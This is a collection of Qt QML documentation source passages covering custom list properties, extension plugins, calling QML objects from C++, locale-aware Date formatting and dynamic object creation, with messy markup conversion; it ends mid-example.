\snippet tutorials/extending-qml/chapter5-listproperties/piechart.h 1
```

```
\dots
```

```
\snippet tutorials/extending-qml/chapter5-listproperties/piechart.h 2
```

Although the `slices` property does not have an associated `WRITE` function, it is still modifiable because of the way `QQmlListProperty` works. In the `PieChart` implementation, we implement `PieChart::slices()` to return a `QQmlListProperty` value and indicate that the internal

`\c PieChart::append_slice()` function is to be called whenever a request is made from QML to add items to the list:

`\snippet tutorials/extending-qml/chapter5-listproperties/piechart.cpp 0`

The `\c append_slice()` function simply sets the parent item as before, and adds the new item to the `\c m_slices` list. As you can see, the append function for a `QQmlListProperty` is called with two arguments: the list property, and the item that is to be appended.

The `\c PieSlice` class has also been modified to include `\c fromAngle` and `\c angleSpan` properties and to draw the slice according to these values. This is a straightforward modification if you have read the previous pages in this tutorial, so the code is not shown here.

## `\section1 Chapter 6: Writing an Extension Plugin`

`\c extending-qml/chapter6-plugins`

Currently the `\c PieChart` and `\c PieSlice` types are used by `\c app.qml`, which is displayed using a `QQuickView` in a C++ application. An alternative way to use our QML extension is to create a plugin library to make it available to the QML engine as a new QML import module. This allows the `\c PieChart` and `\c PieSlice` types to be registered into a type namespace which can be imported by any QML application, instead of restricting these types to be only used by the one application.

The steps for creating a plugin are described in \l {Creating C++ Plugins for QML}.

To start with, we create a plugin class named \c ChartsPlugin. It subclasses QQmlExtensionPlugin and registers our QML types in the inherited \l {QQmlExtensionPlugin::}{registerTypes()} method.

Here is the \c ChartsPlugin definition in \c chartsplugin.h:

```
\snippet tutorials/extending-qml/chapter6-plugins/import/chartsplugin.h 0
```

And its implementation in \c chartsplugin.cpp:

```
\snippet tutorials/extending-qml/chapter6-plugins/import/chartsplugin.cpp 0
```

Then, we write a \c .pro project file that defines the project as a plugin library and specifies with DESTDIR that library files should be built into a \c {../Charts} directory.

```
\quotefile tutorials/extending-qml/chapter6-plugins/import/import.pro
```

In this example, the \c Charts directory is located at the same level as the application that uses our new import module. This way, the QML engine will find our module as the default search path for QML imports includes the directory of the application executable. Alternatively, we could control what directories the \l {QML Import Path} {QML import path} contains, useful if there are multiple QML applications using the same QML imports.

The `\c .pro` file also contains additional magic to ensure that the `\l {Module Definition qmlDir Files}{module definition qmlDir file}` is always copied to the same location as the plugin binary.

The `\c qmlDir` file declares the module name and the plugin that is made available by the module:

```
\quotefile tutorials/extending-qml/chapter6-plugins/import/qmlDir
```

Now we have a QML module that can be imported to any application, provided that the QML engine knows where to find it. The example contains an executable that loads `\c app.qml`, which uses the `\c {import Charts 1.0}` statement. Alternatively, you can load the QML file using the `\l {Prototyping with qmlscene}{qmlscene tool}`, setting the import path to the current directory so that it finds the `\c qmlDir` file:

```
\code
```

```
qmlscene -I . app.qml
```

```
\endcode
```

The module "Charts" will be loaded by the QML engine, and the types provided by that module will be available for use in any QML document which imports it.

`\section1 Chapter 7: Summary`

In this tutorial, we've shown the basic steps for creating a QML extension:

\list

\li Define new QML types by subclassing QObject and registering them with

qmlRegisterType()

\li Add callable methods using \l Q\_INVOKABLE or Qt slots, and connect to Qt signals

with an \c onSignal syntax

\li Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals

\li Define custom property types if the built-in types are not sufficient

\li Define list property types using QQmlListProperty

\li Create a plugin library by defining a Qt plugin and writing a

\l {Module Definition qmldir Files}{qmldir} file

\endlist

The \l{Integrating QML and C++} documentation shows

other useful features that can be added to QML extensions. For example, we

could use \l{Default Properties}{default properties} to allow

slices to be added without using the \c slices property:

\badcode

```
PieChart {  
    PieSlice { ... }  
    PieSlice { ... }  
    PieSlice { ... }  
}
```

```
\endcode
```

Or randomly add and remove slices from time to time using `\l{Property Value Sources}{property value sources}`:

```
\badcode
```

```
PieChart {  
    PieSliceRandomizer on slices {}  
}
```

```
\endcode
```

```
\sa {Integrating QML and C++}
```

```

\page qtqml-cppintegration-interactqmlfromcpp.html

\title Interacting with QML Objects from C++

\brief Description of how to load and access QML objects from C++ code

All QML object types are QObject-derived types, whether they are internally

implemented by the engine or \l

{qtqml-cppintegration-definetypes.html}{defined by third-party

sources}. This means the QML engine can use the Qt \l{Meta Object System} to

dynamically instantiate any QML object type and inspect the created objects.

This is useful for creating QML objects from C++ code, whether to display a QML object that can be visually rendered, or to integrate non-visual QML object data into a C++ application. Once a QML object is created, it can be inspected from C++ in order to read and write to properties, invoke methods and receive signal notifications.

## `\section1 Loading QML Objects from C++`

A QML document can be loaded with `QQmlComponent` or `QQuickView`. `QQmlComponent` loads a QML document as a C++ object that can then be modified from C++ code. `QQuickView` also does this, but as `QQuickView` is a `QWindow`-derived class, the loaded object will also be rendered into a visual display; `QQuickView` is generally used to integrate a displayable QML object into an application's user interface.

For example, suppose there is a `\c MyItem.qml` file that looks like this:

```
\snippet qml/qtbinding/loading/MyItem.qml start
```

```
\snippet qml/qtbinding/loading/MyItem.qml end
```

This QML document can be loaded with `QQmlComponent` or `QQuickView` with the following C++ code. Using a `QQmlComponent` requires calling `QQmlComponent::create()` to create

a new instance of the component, while a QQuickView automatically creates an instance of the component, which is accessible via QQuickView::rootObject():

```
\table
\row
\li
\snippet qml/qtbinding/loading/main.cpp QQmlComponent-a
\dots 0
\snippet qml/qtbinding/loading/main.cpp QQmlComponent-b
\li
\snippet qml/qtbinding/loading/main.cpp QQuickView
\endtable
```

This \c object is the instance of the \c MyItem.qml component that has been created. You can now modify the item's properties using QObject::setProperty() or QQmlProperty:

```
\snippet qml/qtbinding/loading/main.cpp properties
```

Alternatively, you can cast the object to its actual type and call methods with compile-time safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the QQuickItem class:

```
\snippet qml/qtbinding/loading/main.cpp cast
```

You can also connect to any signals or call methods defined in the component using `QMetaObject::invokeMethod()` and `QObject::connect()`. See [\I {Invoking QML Methods}](#) and [\I {Connecting to QML Signals}](#) below for further details.

## [\section1 Accessing Loaded QML Objects by Object Name](#)

QML components are essentially object trees with children that have siblings and their own children. Child objects of QML components can be located using the `QObject::objectName` property with `QObject::findChild()`. For example, if the root item in `\c MyItem.qml` had a child `\I Rectangle` item:

```
\snippet qml/qtbinding/loading/MyItem.qml start
```

```
\codeline
```

```
\snippet qml/qtbinding/loading/MyItem.qml child
```

```
\snippet qml/qtbinding/loading/MyItem.qml end
```

The child could be located like this:

```
\snippet qml/qtbinding/loading/main.cpp findChild
```

Note that an object may have multiple children with the same `\c objectName`.

For example, `\I ListView` creates multiple instances of its delegate, so if its delegate is declared with a particular `objectName`, the `\I ListView` will have

multiple children with the same `\c objectName`. In this case, `QObject::findChildren()` can be used to find all children with a matching `\c objectName`.

`\warning` While it is possible to use C++ to access and manipulate QML objects deep into the object tree, we recommend that you do not take this approach outside of application testing and prototyping. One strength of QML and C++ integration is the ability to implement the QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult to, for example, swap a QML view component for another view, if the new component was missing a required `\c objectName`. It is better for the C++ implementation to know as little as possible about the QML user interface implementation and the composition of the QML object tree.

`\section1` Accessing Members of a QML Object Type from C++

`\section2` Properties

Any properties declared in a QML object are automatically accessible from C++. Given a QML item like this:

`\snippet qml/qtbinding/properties-qml/MyItem.qml 0`

The value of the `someNumber` property can be set and read using `QQmlProperty`, or `QObject::setProperty()` and `QObject::property()`:

```
\snippet qml/qtbinding/properties-qml/main.cpp 0
```

You should always use `QObject::setProperty()`, `QQmlProperty` or `QMetaProperty::write()` to change a QML property value, to ensure the QML engine is made aware of the property change. For example, say you have a custom type `PushButton` with a `buttonText` property that internally reflects the value of a `m_buttonText` member variable. Modifying the member variable directly like this is not a good idea:

```
\code
```

```
//bad code
```

```
QQmlComponent component(engine, "MyButton.qml");
```

```
PushButton *button = qobject_cast<PushButton*>(component.create());
```

```
button->m_buttonText = "Click me";
```

```
\endcode
```

Since the value is changed directly, this bypasses Qt's `{The Meta-Object System}` and the QML engine is not made aware of the property change. This means property bindings to `buttonText` would not be updated, and any `onButtonTextChanged` handlers would not be called.

```
\section2 Invoking QML Methods
```

All QML methods are exposed to the meta-object system and can be called from C++ using `QMetaObject::invokeMethod()`. Method parameters and return values passed from QML are always translated into `QVariant` values in C++.

Here is a C++ application that calls a QML method using

`QMetaObject::invokeMethod()`:

```
\table
\row
\li \snippet qml/qtbinding/functions-qml/MyItem.qml 0
\li \snippet qml/qtbinding/functions-qml/main.cpp 0
\endtable
```

Notice the `Q_RETURN_ARG()` and `Q_ARG()` arguments for `QMetaObject::invokeMethod()` must be specified as `QVariant` types, as this is the generic data type used for QML method parameters and return values.

## \section2 Connecting to QML Signals

All QML signals are automatically available to C++, and can be connected to using `QObject::connect()` like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using

`\l {qtqml-syntax-signals.html}{signal handlers}`.

Here is a QML component with a signal named `qmlSignal` that is emitted with a string-type parameter. This signal is connected to a C++ object's slot using `QObject::connect()`, so that the `cppSlot()` method is called whenever the `qmlSignal` is emitted:

`\table`

`\row`

`\li`

`\snippet qml/qtbinding/signals-qml/MyItem.qml 0`

`\li`

`\snippet qml/qtbinding/signals-qml/myclass.h 0`

`\codeline`

`\snippet qml/qtbinding/signals-qml/main.cpp 0`

`\endtable`

When a QML object type is used as a signal parameter, the parameter should use `! var` as the type, and the value should be received in C++ using the `QVariant` type:

`\table`

`\row`

`\li`

`\qml`

```
// MyItem.qml

import QtQuick 2.0

Item {

    id: item

    width: 100; height: 100

    signal qmlSignal(var anObject)

    MouseArea {

        anchors.fill: parent

        onClicked: item.qmlSignal(item)

    }

}

\endqml
```

\li

\code

```
class MyClass : public QObject
{
    Q_OBJECT

public slots:

    void cppSlot(const QVariant &v) {

        qDebug() << "Called the C++ slot with value:" << v;
```

```

    QQuickItem *item = qobject_cast<QQuickItem*>(v.value<QObject*>());

    qDebug() << "Item dimensions:" << item->width() << item->height();
}

};

```

```

int main(int argc, char *argv[]) {

```

```

    QApplication app(argc, argv);

```

```

    QQuickView view(QUrl::fromLocalFile("MyItem.qml"));

```

```

    QObject *item = view.rootObject();

```

```

    MyClass myClass;

```

```

    QObject::connect(item, SIGNAL(qmlSignal(QVariant)),

```

```

        &myClass, SLOT(cppSlot(QVariant)));

```

```

    view.show();

```

```

    return app.exec();

```

```

}

```

```

\endcode

```

```

\endtable

```

```

*/

```

```

topic.qdoc

```

```

\title Integrating QML and C++

\brief Description of how to integrate QML and C++ code

QML is designed to be easily extensible through C++ code. The classes in the \l {Qt QML} module enables QML objects to be loaded and manipulated from C++, and the nature of QML engine's integration with Qt's \l {Meta Object System}{meta object system} enables C++ functionality to be invoked directly from QML. This allows the development of hybrid applications which are implemented with a mixture of QML, JavaScript and C++ code.

Integrating QML and C++ provides a variety of opportunities, including the ability to:

\list

- \li Separate the user interface code from the application logic code, by implementing the former with QML and JavaScript within \l {qml documents-topic.html}{QML documents}, and the latter with C++

- \li Use and invoke some C++ functionality from QML (for example, to invoke your application logic, use a data model implemented in C++, or call some functions in a third-party C++ library)

- \li Access functionality in the \l {Qt QML} or \l {Qt Quick} C++ API (for example, to dynamically generate images using QQuickImageProvider)

- \li Implement your own \l {qml typesystem-objecttypes.html}{QML object types} from C++

\unicode{0x2014} whether for use within your own specific application, or for distribution to others

\endlist

To provide some C++ data or functionality to QML, it must be made available from a QObject-derived

class. Due to the QML engine's integration with the meta object system, the properties, methods and signals of any QObject-derived class are accessible from QML, as described in

[\{qtqml-cppintegration-exposecppattributes.html}](#){Exposing Attributes of C++ Types to QML}. Once the required functionality is provided by such a class, it can be exposed to QML in a variety of ways:

\list

\li The class can be

[\{qtqml-cppintegration-definetypes.html#registering-an-instantiable-object-type}](#){

registered as an instantiable QML type}, so that it can be instantiated and used like any ordinary

[\{qtqml-typesystem-objecttypes.html}](#){QML object type} from QML code

\li The class can be registered as a

[\{qtqml-cppintegration-definetypes.html#registering-singleton-objects-with-a-singleton-type}](#)

{Singleton Type} so that a single instance of the class may be imported from QML code, allowing the instance's properties, methods and signals to be accessed from QML

\li An instance of the class can be [\{qtqml-cppintegration-contextproperties.html}](#){embedded into

QML code} as a \e {context property} or \e {context object}, allowing the instance's properties, methods and signals to be accessed from QML

\endlist

These are the most common methods of accessing C++ functionality from QML code; for more options and

details, see the main documentation pages that are described in the sections further below.

Additionally, aside from the ability to access C++ functionality from QML, the [\l {Qt QML}](#) module also provides ways to do the reverse and manipulate QML objects from C++ code. See

[\{qtqml-cppintegration-interactqmlfromcpp.html}](#){Interacting with QML Objects from C++} for more details.

Finally, the C++ code may be integrated into either a C++ application or a C++ plugin depending on whether it is to be distributed as a standalone application or a library. A plugin can be integrated with a QML module that can then be imported and used by QML code in other applications; see [\{qtqml-modules-cppplugins.html}](#){Providing Types and Functionality in a C++ Plugin} for more information.

## \section1 Exposing Attributes of C++ Classes to QML

QML can easily be extended from C++ due to the QML engine's integration with the Qt meta object system. This integration allows the properties, methods and signals of any QObject-derived class to be accessible from QML: properties can be read and modified, methods can be invoked from JavaScript expressions and signal handlers are automatically created for signals as necessary. Additionally, enumeration values of a QObject-derived class are accessible from QML.

See [\{qtqml-cppintegration-exposecppattributes.html}](#){Exposing Attributes of C++ Types to QML} for more information.

## \section1 Defining QML Types from C++

QML types can be defined in C++ and then registered with the [\{qtqml-typesystem-topic.html}](#){QML type system}. This allows a C++ class to be instantiated as a [\{QML Object Types}](#){QML object type}, enabling custom

object types to be implemented in C++ and integrated into existing QML code. A C++ class may be also

registered for other purposes: for example, it could be registered as a `{Singleton Type}` to enable a single class instance to be imported by QML code, or it could be registered to enable the enumeration values of a non-instantiable class to be accessible from QML.

Additionally, the `{Qt QML}` module provides mechanisms to define QML types that integrate with QML concepts like attached properties and default properties.

For more information on registering and creating custom QML types from C++, see the `{qtqml-cppintegration-definetypes.html}``{Defining QML Types from C++}` documentation.

## `{section1 Embedding C++ Objects into QML with Context Properties}`

C++ objects and values can be embedded directly into the context (or `{scope}`) of loaded QML objects using `{context properties}` and `{context objects}`. This is achieved through the `QQmlContext` class provided by the `{Qt QML}` module, which exposes data to the context of a QML component, allowing data to be injected from C++ into QML.

See `{qtqml-cppintegration-contextproperties.html}``{Embedding C++ Objects into QML with Context Properties}` for more information.

## `{section1 Interacting with QML Objects from C++}`

QML object types can be instantiated from C++ and inspected in order to access their properties,

invoke their methods and receive their signal notifications. This is possible due to the fact that all QML object types are implemented using QObject-derived classes, enabling the QML engine to dynamically load and introspect objects through the Qt meta object system.

For more information on accessing QML objects from C++, see the documentation on [\{qtqml-cppintegration-interactqmlfromcpp.html\}](#) {Interacting with QML Objects from C++}.

## [\section1 Data Type Conversion Between QML and C++](#)

When data values are exchanged between QML and C++, they are converted by the QML engine to have the correct data types as appropriate for use from QML or C++, providing the data types involved are known to the engine.

See [\{qtqml-cppintegration-data.html\}](#) {Data Type Conversion Between QML and C++} for information on the built-in types supported by the engine and how these types are converted for use when exchanged between QML and C++.

\qmltype Date

\inqmlmodule QtQml

\brief Provides date functions

The QML Date object extends the

\{Mozilla Developer Network Date Reference\}JS Date object with  
locale aware functions.

Functions that accept a locale format may be either an enumeration

value:

\table

\row \li Locale.LongFormat \li The long version of the string; for example, returning "January" as a month name.

\row \li Locale.ShortFormat \li The short version of the string; for example, returning "Jan" as a month name.

\row \li Locale.NarrowFormat \li A special version for use when space is limited;

for example, returning "J" as a month name. Note that the narrow format might contain

the same text for different months and days or it can even be an empty string if the

locale doesn't support narrow names, so you should avoid using it for date formatting.

Also, for the system locale this format is the same as ShortFormat.

\endtable

or a string specifying the format These expressions may be used for format dates:

\table

\header \li Expression \li Output

\row \li d \li the day as number without a leading zero (1 to 31)

\row \li dd \li the day as number with a leading zero (01 to 31)

\row \li ddd

\li the abbreviated localized day name (e.g. 'Mon' to 'Sun').

\row \li dddd

\li the long localized day name (e.g. 'Monday' to 'Sunday').

\row \li M \li the month as number without a leading zero (1 to 12)

\row \li MM \li the month as number with a leading zero (01 to 12)

\row \li MMM

\li the abbreviated localized month name (e.g. 'Jan' to 'Dec').

`\row \li MMMM`

`\li` the long localized month name (e.g. 'January' to 'December').

`\row \li yy \li` the year as two digit number (00 to 99)

`\row \li yyyy \li` the year as four digit number. If the year is negative,  
a minus sign is prepended in addition.

`\endtable`

All other input characters will be ignored. Any sequence of characters that are enclosed in singlequotes will be treated as text and not be used as an expression. Two consecutive singlequotes (""") are replaced by a singlequote in the output.

Example format strings (assuming that the Date is the 20 July 1969):

`\table`

`\header \li Format      \li Result`

`\row   \li dd.MM.yyyy      \li 20.07.1969`

`\row   \li ddd MMMM d yy   \li Sun July 20 69`

`\row   \li 'The day is' dddd \li The day is Sunday`

`\endtable`

These expressions may be used for formatting time:

`\table`

\header	\li Expression	\li Output
\row	\li h	\li the hour without a leading zero (0 to 23 or 1 to 12 if AM/PM display)
\row	\li hh	\li the hour with a leading zero (00 to 23 or 01 to 12 if AM/PM display)
\row	\li H	\li the hour without a leading zero (0 to 23, even with AM/PM display)
\row	\li HH	\li the hour with a leading zero (00 to 23, even with AM/PM display)
\row	\li m	\li the minute without a leading zero (0 to 59)
\row	\li mm	\li the minute with a leading zero (00 to 59)
\row	\li s	\li the second without a leading zero (0 to 59)
\row	\li ss	\li the second with a leading zero (00 to 59)
\row	\li z	\li the milliseconds without leading zeroes (0 to 999)
\row	\li zzz	\li the milliseconds with leading zeroes (000 to 999)
\row	\li AP or A	\li use AM/PM display. \e AP will be replaced by either "AM" or "PM".
\row	\li ap or a	\li use am/pm display. \e ap will be replaced by either "am" or "pm".
\row	\li t	\li the timezone (for example "CEST")
\endtable		

All other input characters will be ignored. Any sequence of characters that are enclosed in singlequotes will be treated as text and not be used as an expression. Two consecutive singlequotes (""") are replaced by a singlequote

in the output.

Example format strings (assuming that the QTime is 14:13:09.042)

```
\table
\header \li Format \li Result
\row \li hh:mm:ss.zzz \li 14:13:09.042
\row \li h:m:s ap \li 2:13:9 pm
\row \li H:m:s a \li 14:13:9 pm
\endtable
```

If the date is invalid, an empty string will be returned.

Note: Using the locale-aware functions to perform date or time formatting can result in incorrectly formatted times, due to an inconsistency in specification between Qt and JS. ECMA-262 specifies that historical dates should be interpreted by projecting the current rules for daylight-saving onto past years, while Qt uses historical data (where available) to determine whether daylight-saving was in effect for a given date. Therefore, constructing a Date value in JS and converting it to a string using the locale-aware functions can yield a result incorrect by one hour, if DST is currently in effect, while it was not for the time specified, or vice versa.

```
\sa {QtQml::Locale}{Locale}
```

\*/

```
/*!
```

```
\qmlmethod string Date::toLocaleString(locale, format)
```

Converts the Date to a string containing the date and time

suitable for the specified \a locale

in the specified \a format.

If \a format is not specified, \l {QtQml::Locale}{Locale.LongFormat} will be used.

If \a locale is not specified, the default locale will be used.

The following example shows the current date and time formatted for the German locale:

```
\code
```

```
import QtQuick 2.0
```

```
Text {
```

```
    text: "The date is: " + new Date().toLocaleString(Qt.locale("de_DE"))
```

```
}
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\qmlmethod string Date::toLocaleDateString(locale, format)
```

Converts the Date to a string containing the date suitable for the specified \a locale in the specified \a format.

If \a format is not specified, \l {QtQml::Locale}{Locale.LongFormat} will be used.

If \a locale is not specified, the default locale will be used.

The following example shows the current date formatted for the German locale:

```
\code
```

```
import QtQuick 2.0
```

```
Text {
```

```
    text: "The date is: " + new Date().toLocaleDateString(Qt.locale("de_DE"))
```

```
}
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\qmlmethod string Date::toLocaleTimeString(locale, format)
```

Converts the Date to a string containing the time suitable for the specified \a locale

in the specified `\a` format.

If `\a` format is not specified, `\l {QtQml::Locale}{Locale.LongFormat}` will be used.

If `\a` locale is not specified, the default locale will be used.

The following example shows the current time formatted for the German locale:

```
\code
```

```
import QtQuick 2.0
```

```
Text {
```

```
    text: "The date is: " + new Date().toLocaleTimeString(Qt.locale("de_DE"))
```

```
}
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\qmlmethod string Date::fromLocaleString(locale, dateTimeString, format)
```

Converts the datetime string `\a dateTimeString` to a `\l {QtQml::Date}{Date}` object using `\a locale` and `\a format`.

If `\a` format is not specified, `\l {QtQml::Locale}{Locale.LongFormat}` will

be used.

If \a locale is not specified, the default locale will be used.

The following example shows a datetime being parsed from a datetime string in a certain format using the default locale:

\code

```
import QtQml 2.0
```

```
QObject {
```

```
    property var locale: Qt.locale()
```

```
    property string dateTimeString: "Tue 2013-09-17 10:56:06"
```

```
    Component.onCompleted: {
```

```
        print(Date.fromLocaleString(locale, dateTimeString, "ddd yyyy-MM-dd hh:mm:ss"));
```

```
    }
```

```
}
```

```
\endcode
```

```
*/
```

```
/*!
```

```
\qmlmethod string Date::fromLocaleDateString(locale, dateString, format)
```

Converts the date string \a dateString to a \l {QtQml::Date}{Date} object

using \a locale and \a format.

If `\a` format is not specified, `\l {QtQml::Locale}{Locale.LongFormat}` will be used.

If `\a` locale is not specified, the default locale will be used.

The following example shows the current date first being formatted as a date string using the default locale and format, then parsed back again in the same manner:

`\code`

```
import QtQml 2.0
```

```
QObject {
```

```
    property var locale: Qt.locale()
```

```
    property date currentDate: new Date()
```

```
    property string dateString
```

```
    Component.onCompleted: {
```

```
        dateString = currentDate.toLocaleDateString();
```

```
        print(Date.fromLocaleDateString(dateString));
```

```
    }
```

```
}
```

`\endcode`

`*/`

/\*!

`\qmlmethod string Date::fromLocaleTimeString(locale, timeString, format)`

Converts the time string `\a timeString` to a `\l {QtQml::Date}{Date}` object using `\a locale` and `\a format`.

If `\a format` is not specified, `\l {QtQml::Locale}{Locale.LongFormat}` will be used.

If `\a locale` is not specified, the default locale will be used.

The following example shows the current time first being formatted as a time string using the default locale and a short format, then parsed back again in the same manner:

`\code`

`import QtQml 2.2`

`QObject {`

`property var locale: Qt.locale()`

`property date currentTime: new Date()`

`property string timeString`

`Component.onCompleted: {`

`timeString = currentTime.toLocaleTimeString(locale, Locale.ShortFormat);`

`print(Date.fromLocaleTimeString(locale, timeString, Locale.ShortFormat));`

```

    }
}
\endcode
*/

/*!
\qmlmethod string Date::timeZoneUpdated()

```

Informs the JS engine that the system's timezone has been changed, which is necessary for the correct manipulation of datetime data.

JS stores Date objects in UTC time; all access to and from Date components in local time involves the application of the current offset from UTC. If the current offset changes due to the timezone being updated, the JS engine needs to be informed so that it can recalculate the offset.

This function should be called after the system's timezone has been updated.

For example, an application that changes the timezone would call `timeZoneUpdated()` after setting the new time zone:

```

\code

    property string selectedTimezone

    onSelectedTimezoneChanged: {

```

```

        MyFunctions.setSystemTimeZone(selectedTimeZone)

        Date.timeZoneUpdated()

    }

\endcode

*/

\title Dynamic QML Object Creation from JavaScript

\brief instantiating and managing QML objects from JavaScript

QML supports the dynamic creation of objects from within JavaScript. This is useful to delay instantiation of objects until necessary, thereby improving application startup time. It also allows visual objects to be dynamically created and added to the scene in reaction to user input or other events.

See the \{QML Example - Dynamic Scene}{Dynamic Scene example} for a demonstration of the concepts discussed on this page.

\section1 Creating Objects Dynamically

There are two ways to create objects dynamically from JavaScript. You can

either call `Qt.createComponent()` to dynamically create a `Component` object, or use `Qt.createQmlObject()` to create an object from a string of QML. Creating a component is better if you have an existing component defined in a QML document and you want to dynamically create instances of that component. Otherwise, creating an object from a string of QML is useful when the object QML itself is generated at runtime.

## 2 Creating a Component Dynamically

To dynamically load a component defined in a QML file, call the `Qt.createComponent()` function in the `QmlGlobalQtObject`.

This function takes the URL of the QML file as its only argument and creates a `Component` object from this URL.

Once you have a `Component`, you can call its `createObject()` method to create an instance of the component. This function can take one or two arguments:

`list`

The first is the parent for the new object. The parent can be a graphical object (i.e. of the `Item` type) or non-graphical object (i.e. of the `QObject` or C++ `QObject` type). Only graphical objects with graphical parent objects will be rendered to the `Qt Quick` visual canvas. If you wish

to set the parent later you can safely pass `\c null` to this function.

`\li` The second is optional and is a map of property-value pairs that define initial any property values for the object. Property values specified by this argument are applied to the object before its creation is finalized, avoiding binding errors that may occur if particular properties must be initialized to enable other property bindings. Additionally, there are small performance benefits when compared to defining property values and bindings after the object is created.

`\endlist`

Here is an example. First there is `\c Sprite.qml`, which defines a simple QML component:

`\snippet qml/Sprite.qml 0`

Our main application file, `\c main.qml`, imports a `\c componentCreation.js`

JavaScript file that will create `\c Sprite` objects:

`\snippet qml/createComponent.qml 0`

Here is `\c componentCreation.js`. Notice it checks whether the component

`\l {Component::status}{status}` is `\c Component.Ready` before calling

`\l {Component::createObject()}{createObject()}` in case the QML file is loaded over a network and thus is not ready immediately.

`\snippet qml/componentCreation.js vars`

```
\codeline
```

```
\snippet qml/componentCreation.js func
```

```
\snippet qml/componentCreation.js remote
```

```
\snippet qml/componentCreation.js func-end
```

```
\codeline
```

```
\snippet qml/componentCreation.js finishCreation
```

If you are certain the QML file to be loaded is a local file, you could omit the `\c finishCreation()` function and call `\l {Component::createObject()}{createObject()}` immediately:

```
\snippet qml/componentCreation.js func
```

```
\snippet qml/componentCreation.js local
```

```
\snippet qml/componentCreation.js func-end
```

Notice in both instances, `\l {Component::createObject()}{createObject()}` is called with `\c appWindow` passed as the parent argument, since the dynamically created object is a visual (Qt Quick) object. The created object will become a child of the `\c appWindow` object in `\c main.qml`, and appear in the scene.

When using files with relative paths, the path should be relative to the file where `\l {QtQml::Qt::createComponent()}{Qt.createComponent()}` is executed.

To connect signals to (or receive signals from) dynamically created objects,

use the signal `\c connect()` method. See

`\{Signal and Handler Event System#Connecting Signals to Methods and Signals}`

`{Connecting Signals to Methods and Signals}` for more information.

It is also possible to instantiate components without blocking via the

`\{Component::incubateObject(){incubateObject()}` function.

## `\section2 Creating an Object from a String of QML`

If the QML is not defined until runtime, you can create a QML object from

a string of QML using the `\{QtQml::Qt::createQmlObject(){Qt.createQmlObject()}`

function, as in the following example:

`\snippet qml/createQmlObject.qml 0`

The first argument is the string of QML to create. Just like in a new file,

you will need to import any types you wish to use. The second argument is the

parent object for the new object, and the parent argument semantics which apply

to components are similarly applicable for `\c createQmlObject()`.

The third argument is the file path to associate with the new object; this is

used for error reporting.

If the string of QML imports files using relative paths, the path should be

relative to the file in which the parent object (the second argument to the

method) is defined.

## \section1 Maintaining Dynamically Created Objects

When managing dynamically created objects, you must ensure the creation context outlives the created object. Otherwise, if the creation context is destroyed first, the bindings in the dynamic object will no longer work.

The actual creation context depends on how an object is created:

\list

\li If \l {QtQml::Qt::createComponent()}{Qt.createComponent()} is used, the creation context is the QQmlContext in which this method is called

\li If \l {QtQml::Qt::createQmlObject()}{Qt.createQmlObject()} is called, the creation context is the context of the parent object passed to this method

\li If a \c {Component{}} object is defined and \l {Component::createObject()}{createObject()} or \l {Component::incubateObject()}{incubateObject()} is called on that object, the creation context is the context in which the \c Component is defined

\endlist

Also, note that while dynamically created objects may be used the same as other objects, they do not have an id in QML.

## \section1 Deleting Objects Dynamically

In many user interfaces, it is sufficient to set a visual object's opacity to 0 or to move the visual object off the screen instead of deleting it. If you have lots of dynamically created objects, however, you may receive a worthwhile performance benefit if unused objects are deleted.

Note that you should never manually delete objects that were dynamically created by convenience QML object factories (such as \l Loader and \l Repeater). Also, you should avoid deleting objects that you did not dynamically create yourself.

Items can be deleted using the \c destroy() method. This method has an optional argument (which defaults to 0) that specifies the approximate delay in milliseconds before the object is to be destroyed.

Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml component. Each instance runs a NumberAnimation, and when the animation has finished, calls \c destroy() on its root object to destroy itself:

\table

\row

\li \c application.qml

\li \c SelfDestroyingRect.qml

\row

\li \snippet qml/dynamicObjects-destroy.qml 0

\li \snippet qml/SelfDestroyingRect.qml 0

\endtable

Alternatively, the \c application.qml could have destroyed the created object by calling \c object.destroy().

Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame (unless you specified a non-zero delay).

Note also that if a \c SelfDestroyingRect instance was created statically like this:

\qml

Item {

    SelfDestroyingRect {

        // ...

    }

}

\endqml

This would result in an error, since objects can only be dynamically destroyed if they were dynamically created.

Objects created with `\l{QtQml::Qt::createQmlObject()}{Qt.createQmlObject()}` can similarly be destroyed using `\c destroy()`:

```
\snippet qml/createQmlObject.qml 0
```

```
\snippet qml/createQmlObject.qml destroy
```

```

\page qtqml-javascript-expressions.html

\title JavaScript Expressions in QML Documents

\brief Description of where JavaScript expressions are valid in QML documents

The \{JavaScript Host Environment} provided by QML can run valid standard JavaScript constructs such as conditional operators, arrays, variable setting, loops. In addition to the standard JavaScript properties, the \{QML Global Object} includes a number of helper methods that simplify building UIs and interacting with the QML environment.

The JavaScript environment provided by QML is stricter than that in a web browser. For example, in QML you cannot add to, or modify, members of the JavaScript global object. In regular JavaScript, it is possible to do this accidentally by using a variable without declaring it. In QML this will throw an exception, so all local variables must be explicitly declared. See [\{JavaScript Environment Restrictions}](#) for a complete description of the restrictions on JavaScript code executed from QML.

Various parts of [\{QML Documents}](#){QML documents} can contain JavaScript code:

\list 1

- \li The body of [\{Property Binding}](#){property bindings}. These JavaScript expressions describe relationships between QML object [\{Property Attributes}](#){properties}. When any of a property's \e dependencies change, the property is automatically updated too, according to the specified relationship.
- \li The body of [\{Signal Attributes}](#){Signal handlers}. These JavaScript statements are automatically evaluated whenever a QML object emits the associated signal.
- \li The definition of [\{Method Attributes}](#){custom methods}. JavaScript functions that are defined within the body of a QML object become methods of that object.
- \li Standalone [\{Importing JavaScript Resources in QML}](#){JavaScript resource (.js) files}. These files are actually separate from QML documents, but they can be imported into QML documents. Functions and variables that are defined within the imported files can be used in property bindings, signal

handlers, and custom methods.

\endlist

## \section1 JavaScript in Property Bindings

In the following example, the \l Rectangle's \c color depends on the \l MouseArea's \c pressed property. This relationship is described using a conditional expression:

\qml

```
import QtQuick 2.0
```

```
Rectangle {
```

```
    id: colorbutton
```

```
    width: 200; height: 80;
```

```
